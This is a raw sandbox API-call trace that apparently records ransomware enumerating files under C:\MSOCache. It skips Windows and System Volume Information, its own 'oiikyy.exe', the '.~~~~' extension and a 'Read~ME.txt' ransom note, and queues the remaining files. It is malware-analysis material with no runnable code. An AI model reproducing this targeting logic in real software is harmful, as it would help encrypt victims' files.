	[0065.470] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.471] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0065.471] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0065.471] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0065.471] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0065.471] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0065.471] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0065.471] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1
	[0065.471] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="Windows") returned -1
	[0065.471] lstrcmpW (lpString1="AccessMUI.msi", lpString2="oiikyy.exe") returned -1
	[0065.471] StrStrW (lpFirst="AccessMUI.msi", lpSrch=".~~~~") returned 0x0
	[0065.471] lstrcmpW (lpString1="AccessMUI.msi", lpString2="Read~ME.txt") returned -1
	[0065.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0065.471] GetCurrentThreadId () returned 0x618
	[0065.471] GetCurrentThreadId () returned 0x618
	[0065.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3530
	[0065.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3ee8
	[0065.471] RtlWakeConditionVariable () returned 0x365f48
	[0065.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3158 | out: hHeap=0x300000) returned 1
	[0065.472] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1
	[0065.472] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="Windows") returned -1
	[0065.472] lstrcmpW (lpString1="AccessMUI.xml", lpString2="oiikyy.exe") returned -1
	[0065.472] StrStrW (lpFirst="AccessMUI.xml", lpSrch=".~~~~") returned 0x0
	[0065.472] lstrcmpW (lpString1="AccessMUI.xml", lpString2="Read~ME.txt") returned -1
	[0065.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0065.472] GetCurrentThreadId () returned 0x618
	[0065.472] GetCurrentThreadId () returned 0x618
	[0065.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3568
	[0065.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3ad258
	[0065.472] RtlWakeConditionVariable () returned 0x365f48
	[0065.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3158 | out: hHeap=0x300000) returned 1
	[0065.472] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1
	[0065.472] lstrcmpiW (lpString1="AccLR.cab", lpString2="Windows") returned -1
	[0065.472] lstrcmpW (lpString1="AccLR.cab", lpString2="oiikyy.exe") returned -1
	[0065.472] StrStrW (lpFirst="AccLR.cab", lpSrch=".~~~~") returned 0x0
	[0065.472] lstrcmpW (lpString1="AccLR.cab", lpString2="Read~ME.txt") returned -1
	[0065.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0065.472] GetCurrentThreadId () returned 0x618
	[0065.472] GetCurrentThreadId () returned 0x618
	[0065.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a35a0
	[0065.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3ad320
	[0065.472] RtlWakeConditionVariable () returned 0x365f48
	[0065.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3158 | out: hHeap=0x300000) returned 1
	[0065.472] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1
	[0065.472] lstrcmpiW (lpString1="branding.xml", lpString2="Windows") returned -1
	[0065.472] lstrcmpW (lpString1="branding.xml", lpString2="oiikyy.exe") returned -1
	[0065.473] StrStrW (lpFirst="branding.xml", lpSrch=".~~~~") returned 0x0
	[0065.473] lstrcmpW (lpString1="branding.xml", lpString2="Read~ME.txt") returned -1
	[0065.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0065.473] GetCurrentThreadId () returned 0x618
	[0065.473] GetCurrentThreadId () returned 0x618
	[0065.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a35d8
	[0065.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3ad3e8
	[0065.473] RtlWakeConditionVariable () returned 0x365f48
	[0065.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3158 | out: hHeap=0x300000) returned 1
	[0065.473] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0
	[0065.473] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0065.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0065.474] GetCurrentThreadId () returned 0x618
	[0065.474] GetCurrentThreadId () returned 0x618
	[0065.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3610
	[0065.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3ac250
	[0065.474] RtlWakeConditionVariable () returned 0x365f48
	[0065.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3158 | out: hHeap=0x300000) returned 1
	[0065.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27e0048 | out: hHeap=0x300000) returned 1
	[0065.474] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1
	[0065.474] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="Windows") returned -1
	[0065.474] lstrcmpW (lpString1="AccessMUISet.msi", lpString2="oiikyy.exe") returned -1
	[0065.474] StrStrW (lpFirst="AccessMUISet.msi", lpSrch=".~~~~") returned 0x0
	[0065.474] lstrcmpW (lpString1="AccessMUISet.msi", lpString2="Read~ME.txt") returned -1
	[0065.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0065.474] GetCurrentThreadId () returned 0x618
	[0065.475] GetCurrentThreadId () returned 0x618
	[0065.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3648
	[0065.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0065.475] RtlWakeConditionVariable () returned 0x365f48
	[0065.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0065.475] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1
	[0065.475] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="Windows") returned -1
	[0065.475] lstrcmpW (lpString1="AccessMUISet.xml", lpString2="oiikyy.exe") returned -1
	[0065.475] StrStrW (lpFirst="AccessMUISet.xml", lpSrch=".~~~~") returned 0x0
	[0065.475] lstrcmpW (lpString1="AccessMUISet.xml", lpString2="Read~ME.txt") returned -1
	[0065.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0065.475] GetCurrentThreadId () returned 0x618
	[0065.476] GetCurrentThreadId () returned 0x618
	[0065.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3680
	[0065.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4bc8
	[0065.476] RtlWakeConditionVariable () returned 0x365f48
	[0065.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0065.476] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0065.476] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0065.476] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0065.476] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0065.476] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0065.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.476] GetCurrentThreadId () returned 0x618
	[0065.476] GetCurrentThreadId () returned 0x618
	[0065.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a36b8
	[0065.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa3b8
	[0065.476] RtlWakeConditionVariable () returned 0x365f48
	[0065.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.476] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0065.476] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0065.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.477] GetCurrentThreadId () returned 0x618
	[0065.477] GetCurrentThreadId () returned 0x618
	[0065.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a36f0
	[0065.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0065.477] RtlWakeConditionVariable () returned 0x365f48
	[0065.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0065.478] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1
	[0065.478] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0065.478] lstrcmpW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0065.478] lstrcmpW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0065.478] lstrcmpW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0065.479] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0065.479] lstrlenW (lpString="C:\\Windows") returned 10
	[0065.479] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0065.479] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0065.479] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0065.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
	[0065.479] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0065.494] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0065.494] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0065.494] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0065.494] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0065.494] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0065.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0065.495] GetCurrentThreadId () returned 0x618
	[0065.495] GetCurrentThreadId () returned 0x618
	[0065.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3728
	[0065.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7558
	[0065.495] RtlWakeConditionVariable () returned 0x365f48
	[0065.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0065.495] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.495] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0065.495] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0065.495] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0065.495] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0065.495] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0065.495] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0065.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0065.495] GetCurrentThreadId () returned 0x618
	[0065.496] GetCurrentThreadId () returned 0x618
	[0065.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3760
	[0065.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a75f0
	[0065.496] RtlWakeConditionVariable () returned 0x365f48
	[0065.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0065.496] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
	[0065.496] lstrcmpiW (lpString1="Office32WW.msi", lpString2="Windows") returned -1
	[0065.496] lstrcmpW (lpString1="Office32WW.msi", lpString2="oiikyy.exe") returned -1
	[0065.496] StrStrW (lpFirst="Office32WW.msi", lpSrch=".~~~~") returned 0x0
	[0065.496] lstrcmpW (lpString1="Office32WW.msi", lpString2="Read~ME.txt") returned -1
	[0065.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0065.496] GetCurrentThreadId () returned 0x618
	[0065.496] GetCurrentThreadId () returned 0x618
	[0065.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3798
	[0065.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4c80
	[0065.496] RtlWakeConditionVariable () returned 0x365f48
	[0065.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0065.496] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0065.496] lstrcmpiW (lpString1="Office32WW.xml", lpString2="Windows") returned -1
	[0065.496] lstrcmpW (lpString1="Office32WW.xml", lpString2="oiikyy.exe") returned -1
	[0065.496] StrStrW (lpFirst="Office32WW.xml", lpSrch=".~~~~") returned 0x0
	[0065.497] lstrcmpW (lpString1="Office32WW.xml", lpString2="Read~ME.txt") returned -1
	[0065.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0065.497] GetCurrentThreadId () returned 0x618
	[0065.497] GetCurrentThreadId () returned 0x618
	[0065.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a37d0
	[0065.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4d38
	[0065.497] RtlWakeConditionVariable () returned 0x365f48
	[0065.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0065.497] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1
	[0065.497] lstrcmpiW (lpString1="ose.exe", lpString2="Windows") returned -1
	[0065.497] lstrcmpW (lpString1="ose.exe", lpString2="oiikyy.exe") returned 1
	[0065.497] StrStrW (lpFirst="ose.exe", lpSrch=".~~~~") returned 0x0
	[0065.497] lstrcmpW (lpString1="ose.exe", lpString2="Read~ME.txt") returned -1
	[0065.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.497] GetCurrentThreadId () returned 0x618
	[0065.497] GetCurrentThreadId () returned 0x618
	[0065.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3808
	[0065.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa508
	[0065.498] RtlWakeConditionVariable () returned 0x365f48
	[0065.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.498] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1
	[0065.498] lstrcmpiW (lpString1="osetup.dll", lpString2="Windows") returned -1
	[0065.498] lstrcmpW (lpString1="osetup.dll", lpString2="oiikyy.exe") returned 1
	[0065.498] StrStrW (lpFirst="osetup.dll", lpSrch=".~~~~") returned 0x0
	[0065.498] lstrcmpW (lpString1="osetup.dll", lpString2="Read~ME.txt") returned -1
	[0065.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.498] GetCurrentThreadId () returned 0x618
	[0065.498] GetCurrentThreadId () returned 0x618
	[0065.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3840
	[0065.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa5b0
	[0065.498] RtlWakeConditionVariable () returned 0x365f48
	[0065.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.498] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1
	[0065.499] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="Windows") returned -1
	[0065.499] lstrcmpW (lpString1="OWOW32WW.cab", lpString2="oiikyy.exe") returned 1
	[0065.499] StrStrW (lpFirst="OWOW32WW.cab", lpSrch=".~~~~") returned 0x0
	[0065.499] lstrcmpW (lpString1="OWOW32WW.cab", lpString2="Read~ME.txt") returned -1
	[0065.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0065.499] GetCurrentThreadId () returned 0x618
	[0065.499] GetCurrentThreadId () returned 0x618
	[0065.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3878
	[0065.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa658
	[0065.499] RtlWakeConditionVariable () returned 0x365f48
	[0065.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0065.500] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1
	[0065.500] lstrcmpiW (lpString1="PidGenX.dll", lpString2="Windows") returned -1
	[0065.500] lstrcmpW (lpString1="PidGenX.dll", lpString2="oiikyy.exe") returned 1
	[0065.500] StrStrW (lpFirst="PidGenX.dll", lpSrch=".~~~~") returned 0x0
	[0065.500] lstrcmpW (lpString1="PidGenX.dll", lpString2="Read~ME.txt") returned -1
